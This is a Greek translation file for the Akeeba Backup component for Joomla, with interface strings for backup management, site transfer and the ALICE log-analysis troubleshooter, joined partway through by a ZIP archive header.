COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="URL επιστροφής"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Εισαγάγετε ένα εσωτερικό URL για επιστροφή μετά την ολοκλήρωση του αντιγράφου. Π.χ.: εισαγάγετε <code>index.php</code> για επιστροφή στον πίνακα ελέγχου Joomla ή <code>index.php%3Foption%26com_akeeba</code> για επιστροφή στον πίνακα ελέγχου του Akeeba Backup. <br/> <strong>ΠΡΟΕΙΔΟΠΟΙΗΣΗ</strong> Λόγω του τρόπου λειτουργίας του διαχειριστή μενού Joomla!, το URL που εισαγάγετε ΠΡΕΠΕΙ να κωδικοποιηθεί με URL-encoding. Μπορείτε να το κάνετε αποθηκεύοντας το στοιχείο μενού <em>δύο φορές στη σειρά</em>. Αυτό είναι γνωστό σφάλμα/έλλειμμα χαρακτηριστικού στο Joomla! ίδιο."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Ρύθμιση"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Ρύθμιση του ενεργού προφίλ αντιγράφου ασφαλείας."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Διαχείριση αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Διαχείριση απόπειρων αντιγράφων ασφαλείας, συμπεριλαμβανομένης της επαναφοράς παλαιότερων αντιγράφων."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Επαναφορά τελευταίου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Επαναφορά του τελευταίου αντιγράφου ασφαλείας που ελήφθη με ένα συγκεκριμένο προφίλ. Παρακαλώ διαβάστε τεκμηρίωση."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Προφίλ αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Επαναφορά του τελευταίου αντιγράφου ασφαλείας που ελήφθη με αυτό το προφίλ. <strong>ΣΗΜΑΝΤΙΚΟ!</strong> Αναζητά μόνο το τελευταίο αντίγραφο ασφαλείας με αυτό το προφίλ. Το αρχείο αντιγράφου ΠΡΕΠΕΙ να υπάρχει στον διακομιστή σας. Εάν το διαγράψατε ή αποθηκεύεται απομακρυσμένα, θα λάβετε σφάλμα. Η επαναφορά απομακρυσμένα αποθηκευμένων αντιγράφων απαιτεί να μεταβείτε πρώτα στη Διαχείριση Αντιγράφων Ασφαλείας και να τα ανακτήσετε στον διακομιστή σας."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Οδηγός μεταφοράς ιστότοπου"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Σας επιτρέπει να επαναφέρετε το τελευταίο αντίγραφο ασφαλείας σε διαφορετική τοποθεσία/διακομιστή. <strong>ΣΗΜΑΝΤΙΚΟ!</strong> Αναζητά μόνο το τελευταίο αντίγραφο ασφαλείας. Το αρχείο αντιγράφου ΠΡΕΠΕΙ να υπάρχει στον διακομιστή σας. Εάν το διαγράψατε ή αποθηκεύεται απομακρυσμένα, θα σας ζητηθεί να λάβετε νέο αντίγραφο. Η μεταφορά απομακρυσμένα αποθηκευμένων αντιγράφων απαιτεί να μεταβείτε πρώτα στη Διαχείριση Αντιγράφων Ασφαλείας και να τα ανακτήσετε στον διακομιστή σας."
PK     \B2ȧ  #  language/el-GR/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Αντιμετώπιση προβλημάτων - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="Η ανάλυση αρχείου καταγραφής ολοκληρώθηκε"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Εντοπισμένο σφάλμα"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Εάν δεν καταλαβαίνετε τι σημαίνει το παραπάνω σφάλμα και έχετε ενεργή συνδρομή υποστήριξης στον ιστότοπό μας, υποβάλετε αίτημα υποστήριξης συμπεριλαμβάνοντας όλο το κείμενο αυτής της σελίδας. Αυτό θα μας βοηθήσει να σας εξυπηρετήσουμε πιο αποτελεσματικά. Ευχαριστούμε!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Εάν η προτεινόμενη λύση δεν σας βοήθησε να επιλύσετε το πρόβλημά σας και έχετε ενεργή συνδρομή υποστήριξης στον ιστότοπό μας, υποβάλετε αίτημα υποστήριξης που να περιλαμβάνει: 1. ένα αρχείο ZIP με το αρχείο καταγραφής αντιγράφου ασφαλείας σας· και 2. το κείμενο αυτής της σελίδας. Παρακαλώ μη συμπεριλάβετε <em>μόνο</em> αυτές τις πληροφορίες, καθώς θα κάνουν τις απαντήσεις μας πιο αργές και λιγότερο ακριβείς. Προσπαθήστε επίσης να περιγράψετε το πρόβλημα αντιγράφου ασφαλείας με περισσότερες λεπτομέρειες, όπως γιατί πιστεύετε ότι υπάρχει πρόβλημα, πότε άρχισε να εμφανίζεται, τυχόν διορθωτικά βήματα που κάνατε και οποιεσδήποτε πληροφορίες θεωρείτε σχετικές για να μας βοηθήσουν να κατανοήσουμε καλύτερα τι συμβαίνει."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Πιθανή λύση:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="Το ALICE ολοκλήρωσε την ανάλυση αρχείου καταγραφής. Συνολικά εκτελέστηκαν %d διαφορετικοί έλεγχοι."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="Εντοπίσαμε ένα σοβαρό πρόβλημα που μπορεί να έχει προκαλέσει την αποτυχία του αντιγράφου ασφαλείας σας."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="Δεν εντοπίστηκαν προβλήματα αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Εντοπίσαμε μόνο μερικά μικρά ζητήματα που συνήθως δεν προκαλούν αποτυχία αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Εντοπισμένες προειδοποιήσεις"
COM_AKEEBABACKUP_ALICE_ANALYZE="Ανάλυση αρχείου καταγραφής"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Παρακαλώ περιμένετε. Η ανάλυση του αρχείου καταγραφής θα ξεκινήσει σύντομα."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Έλεγχος σφαλμάτων συστήματος αρχείων"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Μεγάλοι φάκελοι"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Οι εξής φάκελοι περιέχουν πολύ μεγάλο αριθμό στοιχείων: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="Θα πρέπει να αλλάξετε τον κινητήρα σάρωσης σε <strong>Σαρωτή μεγάλου ιστότοπου</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Προβλήματα μεγάλων αρχείων"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="Τα εξής αρχεία είναι πολύ μεγάλα και μπορεί να προκαλέσουν προβλήματα αντιγράφου ασφαλείας: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Προσπαθήστε να εξαιρέσετε αυτά τα αρχεία χρησιμοποιώντας τη λειτουργία Εξαίρεση Αρχείων και Φακέλων ή διαγράψτε τα εάν είστε σίγουροι ότι δεν τα χρειάζεστε στον ιστότοπό σας."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Πολλαπλές εγκαταστάσεις Joomla!"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Βρέθηκαν εγκαταστάσεις Joomla! στους εξής υποκαταλόγους: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="Θα πρέπει να εξαιρέσετε αυτούς τους υποκαταλόγους καθώς μπορεί να οδηγήσουν σε προβλήματα χρονικού ορίου."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Παλιά αντίγραφα ασφαλείας συμπεριλαμβάνονται"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="Τα εξής παλιά αντίγραφα ασφαλείας περιλαμβάνονται στο τρέχον αντίγραφο ασφαλείας: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Διαγράψτε ή εξαιρέστε αυτά από το αντίγραφο ασφαλείας."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Πρόοδος ανάλυσης"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="Ο αναλυτής αρχείου καταγραφής εντόπισε ένα ή περισσότερα προβλήματα αντιγράφου ασφαλείας. Εάν η εφαρμογή των προτάσεων αυτού του αναλυτή και των οδηγιών τεκμηρίωσης αντιμετώπισης προβλημάτων δεν λειτουργήσει και έχετε ενεργή συνδρομή στον ιστότοπό μας, υποβάλετε νέο ticket επικολλώντας το εξής <em>κείμενο εξόδου ανάλυσης αρχείου καταγραφής</em> για να μας βοηθήσετε να σας παρέχουμε γρηγορότερη υποστήριξη."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Έλεγχος απαιτήσεων συστήματος"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Τύπος και έκδοση βάσης δεδομένων"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Το Akeeba Backup υποστηρίζει μόνο MySQL 5.0.47 ή νεότερη"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="Δεν ήταν δυνατός ο εντοπισμός του τύπου βάσης δεδομένων σας. Εντοπισμένος τύπος: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Ο διακομιστής βάσης δεδομένων σας δεν υποστηρίζεται ακόμα. Εντοπισμένος τύπος βάσης δεδομένων: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Η έκδοση βάσης δεδομένων είναι πολύ παλιά. Εντοπισμένη έκδοση: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Δικαιώματα βάσης δεδομένων"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Φαίνεται ότι δεν μπορείτε να εκτελέσετε εντολές SHOW TABLE και/ή SHOW VIEW στη βάση δεδομένων σας."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Διαθέσιμη μνήμη"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε οδηγίες για την αύξηση του ορίου μνήμης PHP."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Το Akeeba Backup χρειάζεται τουλάχιστον 16MB διαθέσιμης μνήμης. Εντοπισμένη διαθέσιμη μνήμη: %sMb"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="Έκδοση PHP"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="Η έκδοση PHP είναι πολύ παλιά. Εντοπισμένη έκδοση: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Το Akeeba Backup απαιτεί PHP 5.6 ή PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Έλεγχος σφαλμάτων χρόνου εκτέλεσης"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Ακεραιότητα εγκατάστασης"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Φαίνεται ότι η εγκατάστασή σας είναι κατεστραμμένη. Αυτό μπορεί να συμβεί όταν ο πάροχος φιλοξενίας εφαρμόζει πολύ αυστηρούς κανόνες ασφαλείας, αναγνωρίζοντας εσφαλμένα αρχεία Akeeba Backup ως απειλές ασφαλείας και διαγράφοντας ή μετονομάζοντάς τα χωρίς να σας ρωτήσει."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Παρακαλώ επανεγκαταστήστε το Akeeba Backup <strong>χωρίς να το απεγκαταστήσετε</strong>. Εάν αυτό δεν βοηθήσει, επικοινωνήστε αμέσως με τον πάροχο φιλοξενίας σας."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Πρόσθετη βάση δεδομένων - Συμπερίληψη βάσης δεδομένων Joomla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Προσθέσατε τη βάση δεδομένων Joomla ως πρόσθετη βάση δεδομένων· ορισμένοι διακομιστές μπορεί να αρνηθούν δεύτερη σύνδεση στην ίδια βάση δεδομένων, προκαλώντας σφάλμα αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Αφαιρέστε τη βάση δεδομένων Joomla από τις πρόσθετες βάσεις δεδομένων"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Δεν ήταν δυνατός ο εντοπισμός του χρησιμοποιούμενου προφίλ, ο έλεγχος παραλείφθηκε"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Πρόσθετη βάση δεδομένων - Λανθασμένα στοιχεία πρόσβασης"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Μία ή περισσότερες πρόσθετες βάσεις δεδομένων έχουν μη έγκυρα στοιχεία πρόσβασης"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Παρακαλώ ελέγξτε τα στοιχεία σύνδεσης των πρόσθετων βάσεων δεδομένων"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Αρχεία καταγραφής σφαλμάτων"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Βρέθηκαν αρχεία καταγραφής σφαλμάτων μέσα στο αρχείο αντιγράφου ασφαλείας:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="Μπορείτε να εξαιρέσετε αυτά τα αρχεία χρησιμοποιώντας την εξής κανονική έκφραση: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Θανατηφόρα σφάλματα"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="Το εξής θανατηφόρο σφάλμα παρουσιάστηκε κατά τη λήψη αντιγράφου ασφαλείας. Παρακαλώ ελέγξτε και διορθώστε το πριν συνεχίσετε: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Εάν δεν καταλαβαίνετε τι σημαίνει αυτό και έχετε ενεργή συνδρομή στον ιστότοπό μας, υποβάλετε νέο ticket υποστήριξης βεβαιώνοντας ότι 1. έχετε συμπιέσει και επισυνάψει το αρχείο καταγραφής αντιγράφου ασφαλείας και 2. έχετε επικολλήσει την έξοδο κειμένου που εμφανίζεται στην κορυφή αυτής της σελίδας."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Προβλήματα αποθήκευσης κατάστασης κινητήρα αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Φαίνεται ότι ένα αίτημα επεξεργάστηκε περισσότερες από μία φορές από τον διακομιστή σας. Αυτό οδηγεί σε αποτυχίες κατά τη διαδικασία αντιγράφου ασφαλείας ή σε κατεστραμμένα αρχεία· θα πρέπει να επικοινωνήσετε με τον πάροχο φιλοξενίας σας και να αναφέρετε αυτό το πρόβλημα."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Απόπειρα εκκίνησης βήματος %s περισσότερες από μία φορές."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Κινητήρας μετα-επεξεργασίας και μέγεθος τμήματος αρχείου"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="Βρέθηκε κινητήρας μετα-επεξεργασίας, αλλά δεν ορίστηκε μέγεθος τμήματος· αυτό μπορεί να οδηγήσει σε προβλήματα χρονικού ορίου"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Ορίστε μέγεθος τμήματος στη ρύθμιση προφίλ αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Λήξη χρονικού ορίου κατά τη δημιουργία αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="Υπάρχει ήδη πρόβλημα με την αποθήκευση κατάστασης κινητήρα αντιγράφου ασφαλείας. Παρακαλώ διορθώστε το πριν συνεχίσετε."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="Το script αντιγράφου ασφαλείας έφτασε στο όριο χρονικού ορίου. Εντοπισμένο χρονικό όριο: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Προσπαθήστε να ορίσετε ελάχιστο χρόνο εκτέλεσης 1 δευτερόλεπτο, μέγιστο χρόνο εκτέλεσης 10 δευτερόλεπτα (ή εάν το χρονικό όριο PHP είναι λιγότερο από 10 δευτερόλεπτα, χρησιμοποιήστε 75% του χρονικού ορίου PHP), μεροληψία χρόνου εκτέλεσης 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Αριθμός πινάκων που αποθηκεύονται"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Προσπαθείτε να δημιουργήσετε αντίγραφο ασφαλείας για πάρα πολλούς πίνακες. Παρακαλώ αποφύγετε τη δημιουργία αντιγράφου ασφαλείας διαφορετικών εγκαταστάσεων Joomla! ταυτόχρονα."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="Μπορείτε να εξαιρέσετε πίνακες που δεν ανήκουν στον πυρήνα χρησιμοποιώντας την εξής κανονική έκφραση: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Αριθμός γραμμών πίνακα"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Προσπαθείτε να δημιουργήσετε αντίγραφο ασφαλείας πινάκων με πολλές γραμμές (περισσότερες από 1 εκατομμύριο):\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="γραμμές"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="Θα πρέπει να εξαιρέσετε αυτούς τους πίνακες χρησιμοποιώντας τη λειτουργία <strong>Εξαίρεση πινάκων βάσης δεδομένων</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Πίνακας"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Προβλήματα εγγραφής αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Δεν ήταν δυνατό το άνοιγμα αρχείου αντιγράφου ασφαλείας για προσάρτηση."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Παρακαλώ ελέγξτε αν έχετε αρκετό χώρο στο δίσκο, ή αν εξαντλούνται πόροι, ή αν χρειάζεται να αποτρέψετε τη σάρωση αντιγράφων ασφαλείας και antivirus του συστήματος (Windows) κατά τη διάρκεια δημιουργίας αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="Αποτυχία ανάλυσης αρχείου καταγραφής"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="Η ανάλυση αρχείου καταγραφής διακόπηκε. Ο αναλυτής αρχείου καταγραφής ανέφερε το εξής σφάλμα:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="Αποτυχία ανάλυσης αρχείου καταγραφής: δεν ήταν δυνατό το άνοιγμα του αρχείου καταγραφής %s για ανάγνωση."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Εκτελεσθείς έλεγχος"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Αποτέλεσμα"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="Δεν βρέθηκαν αρχεία καταγραφής για <strong>αποτυχημένα</strong> αντίγραφα ασφαλείας."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="Το ALICE λειτουργεί μόνο σε <em>αποτυχημένα</em> αντίγραφα ασφαλείας"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="Το ALICE είναι εργαλείο ανάλυσης αρχείων καταγραφής <em>αποτυχημένων</em> αντιγράφων ασφαλείας και — στις περισσότερες περιπτώσεις — σας δίνει την πιο πιθανή αιτία της αποτυχίας. Δεν προορίζεται για ανάλυση αρχείων καταγραφής επιτυχημένων αντιγράφων ασφαλείας. Κάτι τέτοιο θα έδινε άσκοπα, παραπλανητικά ή εντελώς λανθασμένα αποτελέσματα. Γι' αυτό εμφανίζουμε μόνο τα αρχεία καταγραφής <em>αποτυχημένων</em> αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Θυμηθείτε ότι τα αντίγραφα ασφαλείας που δεν ολοκλήρωσαν την αποστολή του αρχείου αντιγράφου ασφαλείας σε απομακρυσμένη αποθήκευση δεν είναι αποτυχημένα. Η βαθύτερη αιτία αυτών των προβλημάτων δεν μπορεί να εντοπιστεί από το ALICE σε κάθε περίπτωση. Εάν έχετε αυτό το είδος προβλήματος, πρέπει να υποβάλετε ticket υποστήριξης στην ενότητα Υποστήριξη του ιστότοπού μας. Εάν κάποιος άλλος εγκατέστησε το Akeeba Backup Professional για εσάς στον ιστότοπό σας, παρακαλώ επικοινωνήστε με αυτό το άτομο· δεν θα μπορείτε να υποβάλετε ticket υποστήριξης στον ιστότοπό μας σε αυτή την περίπτωση."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Εάν το αντίγραφο ασφαλείας σας απέτυχε αλλά δεν το βλέπετε σε αυτή τη σελίδα, περιμένετε <em>τρία (3) λεπτά</em>, επιστρέψτε στη σελίδα Πίνακας ελέγχου Akeeba Backup και μετά ελάτε πίσω εδώ. Υπάρχει λόγος γι' αυτό. Σε ορισμένες περιπτώσεις η αποτυχία αντιγράφου ασφαλείας προκαλείται από σφάλμα διακομιστή. Σε αυτές τις περιπτώσεις το αντίγραφο ασφαλείας επισημαίνεται ως σε εξέλιξη αντί για αποτυχημένο, επειδή η PHP σταματά να εκτελείται και ο κώδικας PHP που θα το επισήμαινε ως αποτυχημένο δεν έχει την ευκαιρία να εκτελεστεί. Όταν επισκεφθείτε τη σελίδα Πίνακας ελέγχου, κάθε αντίγραφο ασφαλείας που έχει σημανθεί ως σε εξέλιξη για περισσότερο από 3 λεπτά θα επισημανθεί ως αποτυχημένο. Εξ ου και η ανάγκη αναμονής και <em>μετά</em> επιστροφής στη σελίδα Πίνακας ελέγχου."

COM_AKEEBABACKUP_BACKUP="Δημιουργία αντιγράφου τώρα"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Ανάλυση αρχείου καταγραφής (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="Το Script Επαναφοράς Akeeba Backup θα είναι προσβάσιμο μόνο εάν παρέχετε τον κωδικό που έχετε ορίσει στην προηγούμενη σελίδα, πριν κάνετε κλικ στο κουμπί Δημιουργία αντιγράφου τώρα. Εάν δεν θυμάστε να έχετε ορίσει κωδικό, το πρόγραμμα περιήγησής σας έχει αυτόματα συμπληρώσει τον κωδικό στη σελίδα Ρύθμιση <strong>χωρίς να σας ρωτήσει</strong>. Αυτό γίνεται από πολλούς διαχειριστές κωδικών και προγράμματα περιήγησης."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Τα σύγχρονα προγράμματα περιήγησης και οι διαχειριστές κωδικών δεν μας επιτρέπουν να παρακάμπτουμε αυτή τη συμπεριφορά. Έχουμε τοποθετήσει μια άμυνα JavaScript κατά αυτού του είδους μη συναινετικής αυτόματης συμπλήρωσης του πεδίου κωδικού στη σελίδα Ρύθμιση. Ωστόσο, εάν αποθηκεύσετε τη σελίδα Ρύθμιση εντός περίπου μισού δευτερολέπτου από τη φόρτωσή της, αυτή η άμυνα δεν θα έχει την ευκαιρία να εκτελεστεί."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Έχετε ορίσει κωδικό Script Επαναφοράς"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Αντίγραφο ασφαλείας ελήφθη στις"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="Δεν είναι δυνατή η εκκίνηση αυτόματου αντιγράφου ασφαλείας επειδή ο κατάλογος εξόδου δεν είναι εγγράψιμος. Παρακαλώ ακολουθήστε τις παρακάτω οδηγίες για να διορθώσετε αυτό το πρόβλημα."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Για να διορθώσετε αυτό το πρόβλημα, παρακαλώ μεταβείτε στη <a href=\"%s\">Σελίδα ρύθμισης</a> και ορίστε τον Κατάλογο εξόδου σε <code>[DEFAULT_OUTPUT]</code> (όλα κεφαλαία, συμπεριλαμβανομένων των αγκυλών). Εάν αυτό εξακολουθεί να μην λειτουργεί, δείτε <a href=\"%s\">τις οδηγίες αντιμετώπισης προβλημάτων</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Το Akeeba Backup δεν μπορεί να δημιουργήσει αντίγραφο ασφαλείας του ιστότοπού σας επειδή ο κατάλογος εξόδου δεν είναι εγγράψιμος. Παρακαλώ ακολουθήστε τις παρακάτω οδηγίες για να διορθώσετε αυτό το πρόβλημα."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="Δεν έχετε πρόσβαση σε αυτό το προφίλ αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Αποτυχία αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Το αντίγραφο ασφαλείας ολοκληρώθηκε επιτυχώς"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Το αντίγραφο ασφαλείας ανεστάλη και θα επαναληφθεί αυτόματα"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="Η διαδικασία ολοκληρώθηκε επιτυχώς"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Έναρξη νέου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Σχόλιο αντιγράφου ασφαλείας"
